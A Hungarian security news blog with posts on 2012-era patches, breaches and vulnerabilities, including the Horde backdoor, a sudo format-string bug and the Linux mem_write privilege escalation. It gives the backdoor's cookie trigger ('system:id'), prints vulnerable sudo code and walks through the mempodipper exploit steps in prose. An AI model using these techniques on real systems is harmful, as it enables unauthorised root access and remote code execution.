Svájci kutatók egy érdekes tanulmányt publikáltak a napokban a weben elérhető nyilvános kulcsok jóságáról. Az eredmények alapján elmondható, hogy átlagosan ezerből két RSA kulcs gyenge valamilyen szempontból. Mivel ehhez képest a DSA (hagyományos és elliptikus görbéken alkalmazott) és ElGamal eljárásokhoz tartozó titkokkal kapcsolatban az eredmények jobbak, a szerzők alátámasztottnak látják azt a véleményt, hogy egy komponensű titkokkal operálni biztonságosabb, mint két komponensűekkel.
Egy kis frissítés: Az RSA kulcsgeneráláshoz két, általában p-vel és q-val jelölt, nagy prímszámra van szükség. Ezeket a számokat (ál)véletlengenerátorokkal sorsolják, és prímtesztelő eljárásokkal győződnek meg a jóságukról. A nyilvános kulcs az n=pq és a (p-1)(q-1)-hez relatív prím e számokból alkotott páros. A d titkos kulcs e multiplikatív inverze, azaz d=e^(-1) mod (p-1)(q-1). (Jelenlegi ismereteink szerint) a titkos kulcs, csak p és q ismeretében számítható hatékonyan, p és q a nyilvános komponensekből nem számítható vissza.
A következő néhány bekezdés nagy vonalakban bemutatja az alkalmazott módszereket és a főbb eredményeket, némi matekos beállítottság nem árt. Ha csak a konklúzió érdekel, hajts a poszt végére!
Az Adobe kritikus besorolású biztonsági frissítőt adott ki a Flash Playerhez. A javított sebezhetőségek között a szokásos memória korrupciós problémák mellett két kódfuttatásra alkalmas "security bypass" és egy Cross-Site Scripting hibát is találunk, utóbbit aktív, célzott támadásokban is kihasználják (a védett mód pedig nem véd ellene). A problémák az összes támogatott platformot érintik (a védett mód csak Windows-on játszik).
A Horde csoportmunka szoftver fejlesztői híreiben tegnap közölték, hogy támadás érte a horde.org tárolóit, és távoli kódfuttatásra alkalmas hátsó kaput helyeztek el a szoftverben. Az incidens a 3.3-as és 1.2-es verziókat érintette egészen tavaly november 15-től kezdődően. A legfrissebb, 4-es verzióhoz a támadók nem nyúltak.
Eric Romang rövid összefoglalót közölt a hátsó kapuról. Eszerint a rosszindulatú kódrészletet a templates/javascript/open_calendar.js szkriptbe rejtették:
Amennyiben tehát egy látogatónál be van állítva egy href nevű süti, melyben egy "függvénynév:paraméter" formátumú sztring található, a fügvény az adott paraméterekkel lefut (pl. "system:id"). A megpatkolt szkript a segítség nyitóoldalán (/services/help/index.php), a jelszóemlékeztető és -változtató felületeken (/services/(change|reset)password.php), valamint az install szkriptben (/admin/setup/index.php) töltődik be
Az Adobe és az Oracle is frissített tegnap, előbbi a Shockwave és RoboHelp for Word termékeket (előbbiről lesz szó ebben a posztban), utóbbi pedig a Java futtatókörnyezetet.
A Shockwave Playerben összesen kilenc memória korrupciós hibát javítottak, ezek mindegyike kritikus. A javításWindows és OS X rendszerekre is telepítendő. Két hibáról bővebb információ olvasható az azokat bejelentő VulnHunt Code Audit Labs oldalán (egyik, másik).
A Javához tizennégy hibajavítás jött ki, nagyrészt alacsony komplexitású támadási vektorokkal, a problémák mindegyike távolról, autentikáció nélkül kihasználható. A sérülékenységek érintik a webet böngésző felhasználókat és a javás kiszolgálókat is. Biztonsági cégek az utóbbi időben kiugrásról számoltak be a vadon előforduló Java exploitok frontján, az Oracle ezen a fronton meg is előzte az Adobe-t.
Mindkét javítócsomag telepítése kiemelt fontosságú telepítsétek őket amint lehet, de ha megtehetitek, legjobb, ha egyszerűen eltávolítjátok mindkét szoftvert a gépeitekről.
MS12-008: Két Windows kernelt érintő probléma javítása. Az egyik a billentyűzetkiosztások kezelésével kapcsolatos use-after-free, és hely privilégiumemelésre ad lehetőséget. A másik probléma a kernel GDI komponensét érinti, és a Microsoft szerint távoli kódfuttatásra is alkalmas lehet. Mint kiderült, az "okozzunk kékhalált x64-en, Safarival" játékról van szó, aminek a trigger kódja nagyon jópofa, de egy valódi exploit létrehozása várhatóan még jelentős munkát igényel.
MS12-009: Két jogosultságkiterjesztésre alkalmas probléma javítása, ezúttal az Ancillary Function Driverben.
MS12-010: Az Internet Explorer összes változatát javító csomag, négy folttal, melyek közül kettő távoli kódfuttatást tesz lehetővé memóriakorrupciós hibáknak köszönhetően. A harmadik a same-origin policy felrúgását teszi lehetővé a vágólapon keresztül, a negyedik pedig a böngésző memóriájának részleteit fedheti fel, ami nem jön rosszul, ha az ember ki akar igazodni a randomizált memóriában.
MS12-011: Nem rég egy konzultáción beszéltem arról, hogy az XSS szűrés jóval bonyolultabb feladat, mint az ember gondolná. Lám, a Microsoftnál is becsúsznak ilyen hibák, ebben a hónapban három szkriptet kellett javítani a SharePointban Cross-Site Scripting miatt.
MS12-012: A nem Server Core-ként telepített Windows 2008-akat érinti a Color Control Panel hibája, ami DLL hiijackingre ad lehetőséget, már ha az egyszeri rendszergazda éppen a szerveren akarna megnyitni egy távoli megosztáson elhelyezett .icm vagy .icc fájlt.
MS12-013: Ez egy érdekes darab. Az msvcrt.dll-ben puffer túlcsordulás idézhető elő, így elméletileg bármely alkalmazásnál, amelyik ezt a könyvtárat használja, fennáll a kódfuttatás lehetősége. A gyakorlatban azonban a Microsoft szerint a Windows alapértelmezett komponensei közül "csak" a Windows Media Player használja az érintett függvényt, így bár a böngészőn keresztüli támadások lehetősége adott, mégis viszonylag szűk támadási felületről beszélhetünk. Meg kell jegyezni ugyanakkor, hogy bár elméletileg egy belső használatra szánt DLL-ről van szó, harmadik féltől származó alkalmazásokban elvileg felhasználhatták a sebezhető kódot, ami új támadási vektorokat nyújthat. Friss:@Ivanlef0u szerint a hiba egy, a __check_float_string() függvényben bújkáló integer túlcsordulás. Friss2: Az Exploit-Shop elemzése PoC-cal együtt itt olvasható.
MS12-014: DLL hijacking probléma az Indeo videóformátum feldolgozójában. Mivel egy elavult formátumról van szó, a kodeket a Vistától kezdve letiltották, és minden Windows változatban megtiltották az Internet Exploreren keresztüli használatát, így az SRD csapata viszonylagos nyugalommal nosztalgiázhat a világ egyik első, hardveres gyorsítás nélkül is bolduguló videóformátumáról.
MS12-015: Öt darab, fájlfeldolgozáskor jelentkező memória korrupciós probléma javítása a Visio Viewer 2010-hez. Ne fogadjunk el VSD fájlokat idegenektől, akármilyen guszusos ábrákat is ígérnek.
MS12-016: Két sebezhetőség javítása a .NET keretrendszerben illetve a Silverlightban. A problémák érinthetik a webet böngésző felhasználókat (távoli kódfuttatás), .NET alkalmazások hosztingjával foglalkozó cégeket (jogosultságkiterjesztés), illetve kihasználásukkal megkerülhető a Code Access Security is.
Iráni netezők az elmúlt héten a forgalomblokkolás jelentős növekedéséről számoltak be. A hírek szerint az állami kontroll alatt álló szolgáltatók félbeszkítják a népszerű külföldi kommunikációs szolgáltatásokhoz - pl. Facebook, Twitter, GMail, Hotmail - indított SSL/TLS kézfogásokat, meggátolva ezzel a titkosított és hitelesített kommunikációt. A hivatalos álláspont szerint persze minden a legnagyobb rendben van, hiszen a szolgáltatások nyílt csatornán továrra is elérhetőek - más kérdés, hogy így a titkosszolgálat gond nélkül belehallgathat a kommunikációba. A blokkolt tartalmak között van a Tor Project weboldala is. A projekt azt kéri az Internet közösségétől, hogy állítsanak üzembe minél több obfuszkációs proxy-t melyek segítségével az irániak továbbra is hozzáférhetnek a Tor hálózathoz.
Sandboxolt Flash Player a Firefoxhoz
Hogy ne csak rosszat mondjunk szegény Adobe-ról :) Béta állapotba került a Firefox-hoz szánt Flash Player alacsony integritási szinten futó, "védett módú" változata. Ez a verzió az Adobe Reader X-ével megegyező védelmet nyújt a lejátszó számára. Az Adobe Reader X-hez megjelenése óta nem találtak a sandboxból kitörni képes kártevőt, reméljük hasonló változás áll majd be a Flash esetében is - bár sajnos jó esély van arra, hogy a védett módú szoftverváltozatok piaci részesedésének növekedésével a malware fejlesztők is összekapják majd magukat.
MySQL 0-day
Erős fejvekerásra ad okot az Intevydis bejelentése, amely arról szól hogy a White Phosphorus exploit csomagot egy, a MySQL 5.5.20-as változatának debianos kiadását érintő 0-day exploittal bővítették. Bár ennél több információ gyakorlatilag nem áll rendelkezésre, tudni kell, hogy az Intevydis-nél nem pehelysúlyban játszanak.
Egy éves múlt a Google hibavadász programja
Minden tekintetben nagy siker a tavaly novemberben első évét betöltött Google Bug Bounty program - olvasható a cég online biztonsággal foglalkozó blogján. A cég több mint 410.000 dollárt fizetett ki 730 hibajegyért, és további 19.000-et a bejelentő kérésének megfelelően jótékony célra fordított. A cég a program Chromium OS-re történő kiterjesztését is tervezi, és más vállalatokat is hasonló projektek beindítására bíztat.
Csekélyértelmű szkriptsuttyók megint bementek az ENSZ-hez. Úgy látszik, azokat a 2008-as SQL injection hibákat még mindig nem sikerült kijavítani...
Változó szelek SSL fronton
A Google az OCSP támogatás megszüntetését tervezi a Chrome böngészőben. Mivel a felhasználói élmény kielégítése érdekében a böngészők akkor is betöltik a hitelesítésre váró oldalakat, ha a visszavonási információk nem elérhetők, így a rendszer "csak akkor nem működik, amikor szükség lenne rá". A jelenlegi elképzelés szerint a visszavonási listák a Chrome frissítési mechanizmusát használva jutnak majd el a böngészőkbe.
Eközben Moxie Marlinspike a CSO Interchange konferencián az általa fejlesztett Covnergence támogatására igyekezett rávenni a böngészőgyártókat. Ebben a rendszerben a tanusítványra vonatkozó információk több "irányból", más-más hosztokról is ellenőrzésre kerülnek, így egyetlen kommunikációs csatorna kompromittálása nem elegendő a kliens átveréséhez.
Véget ért a Debian GNU/Linux 5.0 "Lenny" biztonsági támogatása
Francesca Ciceri pár nappal ezelőtt jelezte a debian-annouce@ levlistán, hogy egy évvel az Debian 6.0 "Squeeze" bejelentése után, 2012. február 6-án a Debian GNU/Linux 5.0 "Lenny" biztonsági támogatása véget ért. A bejelentés elolvasható itt.
Jövő héten frissít a Microsoft
Töltsetek kávét a WSUS szerverbe, jövő héten jön a frissítőkedd, 21 hibajavítással, melyek közül négy kapott kritikus besorolást. Kis frissítés: A Symantec eddig ismeretlen, célzott támadásokhoz használt Office exploitot észlelt. A megcélzott sérülékenységet a Microsoft az MS11-073-al már javította - meglepő módon egy sima DLL hijacking problémáról van szó.
Egy magát Swagg Security-nek nevező csapat közzétette a Foxconn egyes belső kiszolgálóihoz tartozó jelszavait és levelezésének egy részét. Bár a világ vezető hardvergyártóinak, köztük az Apple-nek, az Intelnek, és a Microsoftnak is szállító Foxconn-nal kapcsolatban az utóbbi időben sorra jelentek meg az embertelen munkakörülményekről, és a dolgozók csoportos öngyilkosságairól szóló hírek, a Swagg Security tettei indoklásaként a jó öreg, feketekalapos "mert jól esett" érvelést hozzák fel.
_2501 úgy tűnik, kissé felkapta a vizet a HWSW mai cikkén, ami Brad Arkin, az Adobe termékbiztonságért felelős vezetőjének a Kaspersky Security Analyst Summit 2012-n tartott előadásáról szól - azt kell mondjam, megértem a dolgot. A mondanivaló lényege nagyjából az, hogy az offenzív biztonsági kutatások - támadási módszerek, exploitok - publikálása valójában a rosszindulatú támadókat segíti, árt a gyártóknak, és a gyártón keresztül a felhasználóknak is. Arkin szerint az energiákat a defenzív megoldások fejlesztésére kellene fordítani, hogy a támadók dolgát nehezebbé tegyük.
Sajnos az általában elég bulvárosra sikerült cikkek miatt egy ideje leiratkoztam a Dark Readingről, így beletellt egy kis időbe, mire előgugliztam az eredeti cikket. Bár részben beigazolódott az a sejtésem, hogy a hiányos fordítás kiélez egyes állításokat, szegény Brad jó eséllyel páyázhat az idei legbénább gyártói reakcióért járó Pwnie-ra. Mivel a DR tudósítóiban sem bízom, vegyük csak az idézett mondatokat (melyek persze kiragadottak, de kevéssé félreérthetőek):
"[BA] says Adobe's goal is not to address each and every vulnerability that's discovered in its software, but instead to build mitigations that drive up the cost of writing exploits" - Nyilván ők is rájöttek, hogy annyira bugos a kódjuk, hogy lehetetlen javítani. Vegyük észre, hogy még a mindenki szeme-fénye Internet Explorerben is egyre kevesebb hibát találnak, az Adobe Reader meg mintha nem akarna kiapadni.
"Recent data showed that the biggest jump in attacks against Adobe applications occurs after an attack method goes public or a Metasploit penetration-testing module is written, he said" - Van a füllentés, van a hazugság, és van a statisztika. Az Adobe esetében a tipikus az, hogy megjelenik egy 0day a sztyeppéről, amit nem tudnak detektálni, és nem tudnak reprodukálni (sem a MSF-ben, sem máshol). Aztán előkerül pár malware minta, esetleg patch, ami alapján lehet AV szignatúrát generálni, meg exploitot írni - vegyük észre, hogy az információs bázis, a táptalaj közel azonos! A malware közben terjed, a szignatúrákat terítik, a VirusTotal meg pörög, a detekciós ráta így a csúcs közelébe ér mire commitolják az új exploit modult a Frameworkbe.
"We fixed thousands of bugs in Adobe 9, screwing up a lot of the code that should have stayed where it was" - Ez pedig azt hiszem, egyszerűen mindent elmond az Adobe szoftverfejlesztési folyamatairól.
Jó lenne ilyen baromságok helyett inkább arról olvasni, hogy mit prezentált Boldi ugyanezen a konfon...
Egy új szabályozásnak megfelelően a Verisign-nak negyedéves jelentésben kellett beszámolnia az őt ért biztonsági incidensekről. A kiadott dokumentum szerint a céget 2010-ben több sikeres támadás is érte, és bár a beszámoló homályosan fogalmaz, arra lehet következtetni, hogy államilag szponzorált akciókról volt szó. A Verisign Inc. és a Symantec mostani közleményei szerint sem az előbbi társaság által kezelt DNS infrastruktúrához, sem az időközben felvásárolt hitelesítő szolgáltatásokra nem volt hatással a támadás - ezt az állítást ennyi idő elteltével ellenőrizni persze lehetetlen.
A héten már írtam egy remek PHP sérülékenységről, azonban nem ez volt az egyetlen esemény a futtatókörnyezet háza táján. Érdemes elolvasni ezt a szösszenetet Stefan Essertől, amiből megtudhatjuk, hogy hasonlóan a már tárgyalt esethez, a nagy javítási lázban még egy védelmet sikerült kigyilkolni, majd a változást commitolni a PHP 5.3 fő ágába. Mindez igen siralmas képet fest a PHP fejlesztési alapelveiről, és a kód minőségéről is. A kedélyeket pedig nem javítja az sem, hogy a Debian unstable ágában alapértelmezetten kikapcsolták a Suhosin-t, miközben a fenti esetekben is ez a megerősítés jelentette az utolsó(előtti) védelmi vonalat. Ja, itt is megjelent egy PoC.
Visszafejtették egyes műholdas telefonok titkosítási algoritmusait
Német szakértők állítólag visszafejtették a GMR-1 és GMR-2 titkosítási algoritmusokat, melyeket a Közel-Keleten és Afrikában népszerű Thuraya műholdas telefonok is használnak. A zárt titkosítási algoritmust alkalmazó beszélgetések megfejtéséhez fél óra és nagyjából 2000 dolláros felszerelés szükséges, de drágább cuccal akár valósidejű lehallgatás is megvalósítható. Technikai részleteket egyelőre nem találtam, a kutatók az algoritmusok közzétételét ígérik, azt gyanítom, hogy egyelőre nyers-erőn alapuló támadással érhető el eredmény.
Apple biztonsági frissítések
Az Apple kiadta rendszeres frissítőcsomagját, a szokásosan szűkszavú összefoglaló itt olvasható.
Két és fél évet kapott a Mariott-hacker
Anno elmondtam a véleményemet azzal kapcsolatban, hogy valaki egy cég bizalmas adatait lobogtatva próbál állásoz (vagy más előnyhöz jutni). Szerencsétlen srác nem úszta meg annyival, mint erdélyi kollegája, bár az eredetileg kilátásba helyezett 10 évhez képest a két és fél év még egészen barátinak tűnik.
Srácok, csak ésszel!
Alább élvezzétek a Hacktion 15. részét, melyből többek között azt is megtudhatjátok, hogy egy laminált papírdarabbal kiadhatjuk magunkat az orosz titkosztolgálat emberének :)
Elindult az upSploit.com, ami a szoftver sérülékenységek automatizált bejelentését és közzétételét tűzte ki célul. Regisztráció után Egyszerű űrlapok segítségével adhatók meg a feltárt sérülékenységek részletei, a folyamat végén a kijelölt gyártó automatikusan értesítésre kerül. A nyilvánosságrahozatalra a bejelentés után 180 nappal kerül sor, amennyiben a gyártó nem reagál az addig havonta illetve hetente küldött figyelmeztetésekre.
Annak idején mi is gondolkoztunk hasonló megoldásban, és azt kell mondanom, hogy egy hasonló rendszer működtetése nem olyan egyszerű, mint elsőre tűnhet:
A beküldött mutatványok működését célszerű ellenőrizni, egyébként agybajt fognak kapni a gyártók a sok fals-pozitívtól. Ez manuálisan végezhető el, ami nem hatékony, ráadásul nem is biztos, hogy megtehető legálisan. A nyilvánosságrahozatal mikéntje nagyban függhet a hiba jellegétől - az upSploit adatbázisában jelenleg megtalálható esetek nagyrészt alacsony kockázatú, könnyen javítható problémák, melyek javítására a 180 nap egy kicsit túlzásnak tűnik, előfordulhatnak ugyanakkor olyan tervezési hiányosságok, melyeket csak egy következő főverzióban lehet majd javítani. Szintén érdekes problémákat vet fel, hogy ki fér hozzá a beküldött anyagokhoz, illetve hogy milyen kára származhat egy gyártónak egy akár téves megállapításokat is tartalmazó hibajegyből.
Érdekes lesz látni, hova fut ki a kezdeményezés, én megszavazok nekik egy linket oldalra.
Jogosultságkiterjesztésre alkalmas hibát fedeztek fel a sudo eszközben. A sebezhető kódrészlet az alábbi:
void
sudo_debug(int level, const char *fmt, ...)
{
va_list ap;
char *fmt2;
if (level > debug_level)
return;
/* Backet fmt with program name and a newline to make it a single
write */
easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
va_start(ap, fmt);
vfprintf(stderr, fmt2, ap);
va_end(ap);
efree(fmt2);
}
Az easprintf() elhelyezi a getprogname() visszatérési értékét a fmt2 változóban, majd ez a karakterlánc kerül felhasználásra a vfprintf() formátum sztringjeként. Mivel a getprogname() a hívott program saját nevét (argv[0]) adja vissza, a formátum lényegében közvetlenül kontrollálható, ha debug módban indítjuk a programot:
Ahogy a fenti hibaüzenet is mutatja, a FORTIFY_SOURCE terminálja a futást, amint %n-t lát egy írható memóriaszegmensben, ami megnehezíti a hiba kihasználását, de nem akadályozza meg. A VUPEN-nél állítólag már van egy működő exploit (persze ha annyi infót tennék közzé, mint ők, én is írogathatnék ilyeneket a Twitterre...).
A hiba a sudo 1.8.0-ás változatában került bevezetésre, az 1.8.3p2 javítja.
A PHP csapata nem rég adta ki a futtatókörnyezet 5.3.9-es verzióját, melyben a híres-neves hash ütközéses támadásra adtak megoldást, a max_input_vars konfigurációs direktíva bevezetésével. Ahogy a név is mutatja, ez az érték szabályozza, hogy maximum hány paramétert lehet átadni egy szkriptnek GET illetve POST paraméterben, az alapértelmezett érték 1000.
Az új beállításhoz tartozó feldolgozó kód azonban nem sikerült hibátlanra. Ha az átadott paraméterek száma meghaladja az engedélyezettet, az utolsó paraméter pedig egy tömb, a tömb támadó által megadott értéke referenciaként közvetlenül felhasználásra kerül, kódfuttatásra adva ezzel lehetőséget. Magyarul egy DoS sebezhetőséget sikerült távoli kódfuttatássá alakítani, szép munka! :)
A Microsoft Visual Studio következő kiadásában új automatikus ellenőrzéssel bővül a /GS fordítási paraméter funkcionalitása. A /GS alapvetően az úgynevezett stack sütik (stack cookie, stack canary) bekapcsolására szolgál. A kapcsoló használatával fordított binárisok függvényeinek elejére és végére a fordító egy-egy plusz kódrészletet pakol. Az első egy véletlen szót (sütit) helyez a stackre a helyi változók és a függvényhívához elmentett metaadatok (pl. visszatérési cím) közé. Amennyiben egy stack túlcsordulás következtében egy támadó megpróbálja felülírni ezeket a metaadatokat, a sütit is felül kell csapnia, ezt a változást pedig érzékeli a függvény végén található ellenőrző kód, és megszakítja a program futását, mielőtt a rossz visszatérési címre ugrana a vezérlés.
Ez a megoldás azonban nem hatékony, ha a támadó közvetlenül képes megadni a memória írás eltolását:
Ha a támadó képes befolyásolni n értékét, közvetlenül elérheti az elmentett visszatérési címet, érintetlenül hagyva a stack sütit. A Microsoft szakértői úgy találták, hogy az ilyen típusú problémák egyik jelentősebb részhalmazát azok az esetek teszik ki, amikor sztring termináláshoz használt NULL byte kerül támadó által kontrollált pozícióba. Ezért a Visual Studio 11-ben automatikusan bekerül egy egyszerű értékellenőrzés (nagyobb-e a megadott eltolás a puffer hosszánál?) bizonyos értékadások elé. Ahhoz, hogy ez megtörténjen, a következő feltételeknek kell teljesülnie:
Az írandó tömb mérete ismert és nem változik
A tömb 1 vagy 2 byte méretű elemekből áll (tipikusan valamilyen karakterlánc)
Az írás értéke nulla (sztring terminátor)
Fontos megjegyezni, hogy ez nem csak stacken tárolt változókra vonatkozik, hanem a globálisakra is. Látható, hogy az új védelem korántsem fedi le az összes lehetséges problémás esetet, mindazonáltal a Microsoftnál úgy gondolják, hogy ezzel a változtatással jelentős mennyiségű sebezhetőséget lehet majd megelőzni, nem befolyásolva jelentősen az új alkalmazások méretét illetve teljesítményét.
Kezdem úgy érezni, hogy ez az egész kódlopós történet valami gerillamarketing akció része, a Symantek ugyanis év eleje óta nem tud kikerülni a hírekből az eset kapcsán. Ezen a héten az okozott kisebb felbojdulást, hogy kiderült, a pcAnywhere szoftver forrását is megkaparintották a támadók, a hír megjelenésével szinte egyidőben pedig egy kritikus sebezhetőségekről beszámoló biztonsági értesítőt is közzétett a cég. Jogosan merülhetett fel a gyanú, hogy a szoftver valamilyen hátsó kaput ( avagy egy évek óta ismert, de nem javított biztonsági hibát) tartalmazott. A gyanúra azonban rácáfol, hogy a biztonsági rések felfedezőinek neve nyilvános (jó eséllyel nem ők szórakoztak a cég szervereivel), illetve figyelembe kell venni, hogy a három javított hiba közül az egyiket még tavaly augusztusban jelentették be a ZDI-nek.
Andriod malware - akár 5 millió áldozat
Az Android Market történetének legsúlyosabb malware kampányával kell megküzdenie - az Android.Counterclank 13 alkalmazáson keresztül 5 millió készülékre juthatott el. A kártevő alapesetben információkat lop és kéretlen reklámokkal boldogítja a felhasználót, de funkcionalitása távolról kiterjeszthető.
Windows Media exploit szabadon
Megszülettek az első exploitok a legutóbbi Microsoft frissítőkedden javított, a Windows médiaszolgáltatásait érintő hibára. Aki még nem frissített, az cselekedjen hamar! A rosszindulatú kihasználás mellett a MIDI fájlok feldolgozásának hibáját kihasználó kód Metasploit modulként is elérhető.
Pwn2Own - újratervezés
A minden évben nagy sikert arató Pwn2Own játék idén teljesen megújult szabályrendszerrel jelentkezik. A versenyzőknek 0day böngésző exploitok prezentálása mellett ismert hibák kihasználásában is jeleskedniük kell. Minden új sebezhetőség demonstrálása 32 pontot ér, és további 20 pont szerezhető azzal, ha a delikvens a helyszínen összehoz egy működő exploitot egy már publikált sérülékenységre. A pontok összesítése után az első három helyezett összesen 105.000 dolláros díjazásban részesül, a Chrome sandboxából kitörő minden hibakollekcióért további 10.000 dollárt ajánlott fel a Google. A szervezők azt remélik a módosításoktól, hogy a verseny igazságosabb lesz (eddig sorsolással döntötték el a próbálkozók sorrendjét, és az első sikeres versenyző mindent vitt), és hogy több sérülékenység kerül majd felfedésre. Sokan azonban szkeptikusak, hiszen a módosításoknak köszönhetően nem biztos, hogy egy 0-day exploit bemutatása jutalmazásra is kerül, így pedig nem biztos, hogy érdemes elsütni a nagyágyúkat.
Skype lehallgatás a Megaupload ügyben
A Megaupload ügyben bizonyítékként mutattak be egy FBI által rögzített Skype beszélgetést, melyet a cég egyik alapítója folytatott vezető programozójukkal. Az ügy részleteibe nem mennék bele, de érdekes kérdés, hogy vajon milyen módszerrel jutott hozzá a nyomozó hatóság ehhez az információhoz? Ismét felmerül a rég óta pedzegetett Skype hátsó kapu lehetősége, de természetesen nem lehet kizárni, hogy például az egyik végpontra telepített kémszoftver tette lehetővé az egyébként titkosított forgalom lehallgatását.
A HUP-on már rendkívül szórakoztató eszmecsere alakult ki a legújabb Linux kernel jogosultság-kiterjesztés sebezhetőséggel kapcsolatban, én igyekeztem megállni a szócséplést, amíg legalább nagy vonalakban megértem, hogy miről is van szó :) A probléma részleteivel kapcsolatban remek összefoglaló olvasható Jason A Donenfeld blogján, én is ezt tanulmányoztam, és az alábbi összefoglaló is ez alapján születik.
Top-down megközelítéssel a probléma a 2.6.39-es Linux kernelben került bevezetésre, Linus múlt héten commitolta a javítást. Ez előtt a verzió előtt egy #ifndef kigyilkolta a sebezhető mem_write() függvényt még mielőtt lefordult volna. Ez a függvény a folyamatok memóriaterületének írását teszi lehetővé a /proc/<pid>/mem-en keresztül. A kernel 2.6.39-es változatának kiadásakor úgy gondolták, hogy a mem_write()-ba bevezetett ellenőrzések megakadályozzák a lehetőség rosszindulatú kihasználását - tévedtek (Linus szavaival: "the /proc/<pid>/mem handling really isn't very robust" :)
A csibészkedést két ellenőrzés hivatott megakadályozni, ezek közül az első azt garantálja, hogy egy folyamat csak a saját memóriaterületét írhatja. Ennek a megkerüléséhet első körben érdemes elolvasnunk az exec() manualját, ami úgy indít, hogy "[Ez a függvénycsalád] lecseréli az aktuális folyamat image-ét egy új folyamatéra". Vagyis egy SUID root binárist exec()-elve annak a memóriaterületére írhatnék, ami nekem nagyon jó lenne. Erre egy elegáns megoldás a su használata, ami megteszi azt a szívességet, hogy stderr-re egy az egyben kirakja a neki átadott érvénytelen paramétereket. A hibakimenetet egy megfelelő helyre pozicionált, /proc/self/mem-re mutató fájlleíróba irányítva öröm lesz és boldogság.
Azaz csak lenne, ugyanis van még egy ellenőrzés, ami a folyamathoz rendelt self_exec_id változó értékét ellenőrzi. Ez az érték minden egyes exec()-re egyel nő, az ellenőrző rutin pedig azt vizsgálja, hogy a memória fájlleíróját megnyitó folyamat self_exec_id-ja megegyezik-e az azt írni kívánó folyamatéval. Az előző megoldásban a su folyamat id-ja tehát magasabb lesz a leírót létrehozónál, így bukta van.
Azonban ez a korlátozás megkerülhető a feladatok "párhuzamosításával":
Először is forkoljuk magunkat, az így kapott gyerek folyamat self_exec_id-ja meg fog egyezni a miénkkel. A gyerek folyamatban hívjuk az exec()-t, amivel létrehozzuk a fájlleírót a szülő folyamat memóriájára - ezt megtehetjük, az open() ugyanis mindig engedélyezett. Ha a szülő folyamat exec()-eli a shellkódot kiköpő su-t, a fájlleírót létrehozó folyamat és a su self_exec_id-ja meg fog egyezni! A gyerek folyamat szépen visszadja a létrehozott leírót a szülőnek, aki ennek birtokában megcsinálhatja az stderr megfelelő átirányítását, így a su végül önkéntelenül beletúr a saját memóriájába.
Magátólértetődő választás a shellkódot a su exit()-jének helyére írni, hiszen ez gyakorlatilag közvetlenül a hibaüzenet (shellkód) kiírása után meg is hívódik. Probléma akkor van, ha a su-t pozíciófüggetlennek (-PIE) fordították, így a kernel alkalmazza rá az ASLR-t, mi meg nem tudjuk, hova kell írni. A népszerű disztrók többségénél ez azonban úgy tűnik, nincs így, és a szerencsésebb esetekben (SUSE?) is elképzelhető, hogy lehet találni más megfelelő SUID állományt, vagy a nyers erőhöz lehet fordulni.
Az érintett/javított disztrókról sajnos még nem találtam rendes listát. Remélem nem néztem be semmit, ha mégis, kommenteljetek, javítok! ;)
Friss: Az exploitokat meg majdnem elfelejtettem :)
mempodipper.c (csak ezt néztem meg tüzetesebben, a többivel óvatosan!)
A ruházati cikkek kereskedelmével foglalkozó Zappos.com kentucky-i adatközpontján keresztül ismeretlenek 24 millió felhasználó személyes adataihoz férhettek hozzá. A támadók hozzájuthattak nevekhez, e-mail címekhez, számlázási és szállítási címekhez, telefonszámokhoz, és a bankkártyaszámok utolsó négy jegyéhez, de a teljes CC-k a vállalat szerint nem kerülhettek ki.
TeaMp0isoN vs. T-Mobile
A TeaMp0isoN csapatnak egy-egy jól irányzott SQL injection támadással sikerült hozzáférnie néhány T-Mobile alkalmazott jelszavához, amit aztán Pastebinen publikáltak. Egy ilyen hiba egy ekkora cégnél azért elég ciki (bár sajnos nem kirívó), de azt azért létni kell, hogy itt jó eséllyel ismét sqlmap-huszárokkal (erre nem akar összedobni valaki egy logót? :) van dolgunk.
XBox Live jelszó brute-force?
Az Analog Hype blog alapján az Index is lehozta, hogy állítólag bénán volt megcsinálva az xbox.com jelszóellenőrző felülete. A bénán itt azt jelenti, hogy 8 próbálkozást hagyott a támadónak, mielőtt feldobott egy CAPTCHA-t, majd gép-ember teszt nélkül hagyta tovább próbálkozni a delikvenst egy másik fiókkal. A Hype-osokat állítólag elhajtották a MS-osok, ezért publikálták a problémát.
A történet azonban több helyről is bűzlik: Egyrészt január 17-én személyesen is kipróbáltam a dolgot, az első rossz próbálkozás után CAPTCHA-t kaptam. Másrészt az xbox.com, mint minden MS szolgáltatás, Live ID-val működik, és nagyon meg lennék lepve, ha eltérő kódot használnának a különböző site-okon a beléptetésre. Miért nem érintett ez a probléma más oldalakat is? A blogposzt ezen kívül nem szól arról, hogy ha 8 próbálkozásból nem sikerült megtalálni a jelszót, mikor lehet újra próbálkozni (én az első rossz próbálkozás után a jó jelszóval sem tudtam belépni CAPTCHA nélkül, új sessionnel).
Az Analog Hype szerint a "probléma" összefüggésben állhat azzal, hogy 1500 XBox hozzáférés jelent meg a feketepiacon, ami viszont nem túl nagy szám, ennyit simán össze lehet kotorni mondjuk adathalászattal.
Nyílt jelszavak a DreamHost-nál
A DreamHost is kénytelen volt egy kellemetlen közleményt kiadni a héten, miután a "one-click intall wizard" megoldásuk hibáját kihasználva ismeretlenek hozzáfértek a felhasználók jelszavaihoz. Bár a szolgáltató hashelte a jelszavakat, egy régi adatbázis tartalmazta azokat nyílt-szövegként is (tipikus #fail), ezért a DreamHost minden felhasználónál jelszóváltoztatást kényszerít ki. Bár az ügyfelekk közül többen panaszkodtak malware fertőzésre az DH-nál hosztolt, oldalaikon, a cég szerint ezeknek nincs köze a jelszavak kiszivárgásához.
Megaupload - Anonymous DDoS
Az FBI lelövette a Megaupload fájlmegosztó oldalt, mivel a gyanú szerint az üzemeltetők szoftver-kalózkodásban vettek részt. Az Anonymous erre DDoS támadást intézett több kiadó, jogvédő szervezet és az FBI weboldalai ellen is. Majd megunják...
Butyka "IceMan" Róbert vs NASA - 3 év, 7 évre felfüggesztve
Bár eddig úgy tűnt, hogy a NAV forráskódja egy indiai partnertől került ki, most úgy tűnik, magát a Symantec rendszerét érte támadás még 2006-ban. A jelek szerint az incidens a víruskergető szoftver mellett több kisebb eszköz forráskódját is érintette, az eset azonban várhatóan nem fogja nagyon megrázni a céget, hiszen az új cél operációs rendszerek megjelenésével az ezekhez szorosan integrálódó eszközök jelentős részét is át kellett írni az évek folyamán.
Oracle frissítések
